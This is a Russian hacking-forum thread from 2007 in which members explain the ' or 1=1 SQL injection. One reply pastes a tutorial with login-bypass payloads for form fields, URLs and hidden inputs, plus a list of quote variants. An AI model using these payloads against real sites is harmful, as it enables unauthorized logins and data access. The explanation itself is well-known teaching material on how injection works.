ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Оффтоп > Болталка
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Помогите найти
  #1  
Старый 18.09.2007, 19:48
ЛифчиС5СВ
Постоянный
Регистрация: 09.03.2007
Сообщений: 323
Провел на форуме:
1552920

Репутация: 369
По умолчанию Помогите найти

Привет, мужики. Не могу найти второй раз (уже мельком видел, но не запомнил где) пост с разжевыванием сцути работы ' Or 1=1/*, 2 дня не могу найти то сообщение. То ли Пантеры, то ли Спайдера, то ли еще кто скидывал...
Подскажите, плиз.
 
Ответить с цитированием

  #2  
Старый 18.09.2007, 19:55
iv.
Moderator - Level 7
Регистрация: 21.03.2007
Сообщений: 1,200
Провел на форуме:
7134052

Репутация: 1204


По умолчанию

Суть в том, что учи синтаксис мускульных запросов.
 
Ответить с цитированием

  #3  
Старый 18.09.2007, 19:58
oof
Новичок
Регистрация: 14.09.2007
Сообщений: 8
Провел на форуме:
158458

Репутация: 8
По умолчанию

Как мне проверить что то, что я нашел, уязвимость?

Попробуйте начать с одиночной кавычки. Введите следующую строку:

hi' or 1=1--

в поле имя пользователя или пароль, или даже в URL параметре. Пример:

Login: hi' or 1=1--
Pass: hi' or 1=1--
http://duck/index.asp?id=hi' or 1=1--

Если вы делали это со скрытым полем, только загрузите исходный HTML, сохраните его на жестком диске, измените URL и скрытое поле соответственно. Пример:

<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1-- ">

</FORM>

Если удача на вашей стороне, вы войдете в систему без имени или пароля.
Но почему ' or 1=1--?

Давайте рассмотрим другой пример, который объясняет полезность конструкции ' or 1=1-- . Кроме обхода регистрации, также можно рассмотреть дополнительную информацию, которая обычно не доступна. Рассмотрим asp страницу, которая ссылается на другую страницу со следующим URL:

http://duck/index.asp?category=food

В URL, 'category' это имя переменной, и 'food' значение, назначенное этой переменной. Чтобы это сделать, asp страница может содержать следующий код:

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

как видно, наша переменная будет объединена с v_cat и таким образом SQL запрос должен стать:

SELECT * FROM product WHERE PCategory='food'

Этот запрос должен возвратить набор, содержащий одну или более строк, которые соответствуют условию WHERE, в этом случае 'food'. Теперь изменим URL следующим образом:

http://duck/index.asp?category=food' or 1=1--
SELECT * FROM product WHERE PCategory='food' or 1=1--

Этот запрос возвратит все строки в таблице product, независимо от того, Pcategory равен 'food' или нет. Двойная черточка "-" сообщает, что MS SQL сервер игнорирует остальную часть запроса, которая следует за одиночной кавычкой ('). Иногда можно заменить двойную черточку на диез "#".

Однако, если используется не SQL сервер, или вы не можете игнорировать остальную часть запроса, пробуйте:

' or 'a'='a

Теперь SQL запрос станет:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Этот запрос возвратит тот же самый результат.

В зависимости от фактического SQL запроса, вероятно, придется пробовать некоторые из этих возможностей:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
 
Ответить с цитированием

  #4  
Старый 18.09.2007, 20:06
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме:
5128756

Репутация: 2032


Отправить сообщение для Piflit с помощью ICQ
По умолчанию

Цитата:
Сообщение от iv.  
Суть в том, что учи синтаксис мускульных запросов.
+1
 
Ответить с цитированием

  #5  
Старый 18.09.2007, 20:11
halkfild
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме:
7084941

Репутация: 2277
По умолчанию

мдя.. а репа то набита на топике со скулями а такое спрашиваешь((

смысл в том что ты в запрос инжектишь еще часть Or 1=1/* следовательно добавляешь одно условие которое всегда истина.. ну а так как условие всегда истинно то и з базы возвращается результат ну и тебя аутентифицирует


з.ы. почитай мат часть сразу все станет ясно да и много нового узнаешь)
 
Ответить с цитированием

  #6  
Старый 18.09.2007, 20:29
ЛифчиС5СВ
Постоянный
Регистрация: 09.03.2007
Сообщений: 323
Провел на форуме:
1552920

Репутация: 369
По умолчанию

Да я понимаю. )))) Но мне нужна полная расписанная статья))) Влом писать
 
Ответить с цитированием

  #7  
Старый 18.09.2007, 23:16
Архангел Тираэль
Познающий
Регистрация: 11.07.2007
Сообщений: 41
Провел на форуме:
615048

Репутация: 22
По умолчанию

Цитата:
Да я понимаю. )))) Но мне нужна полная расписанная статья))) Влом писать
труд зделал из обезьяны человека, а из человека хакера. не ленись!
 
Ответить с цитированием

  #8  
Старый 19.09.2007, 00:52
ЛифчиС5СВ
Постоянный
Регистрация: 09.03.2007
Сообщений: 323
Провел на форуме:
1552920

Репутация: 369
По умолчанию

Ой, как же тяжело. Попросил только 1 - если кто видел - скинуть линк на статью, а мне тут столько наговорили уже. Ну что за глупая привычка, понтоваться и выпендриваться, вместо того, чтобы просто ответить на вопрос... ((((
oоf, спасибо
 
Ответить с цитированием

  #9  
Старый 19.09.2007, 01:13
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

Мда, oof, а ты показал на MSSQL
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ПомогитЕ !!! подалуста найти кряк гейлордфакерЪ Болталка 2 30.08.2007 14:48
Исправление для IPB 2.1.x _GaLs_ Форумы 6 20.06.2007 09:31
ПоМоГиТе! ПЛЗ!!! farik.aka E-Mail 1 17.09.2006 13:00



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ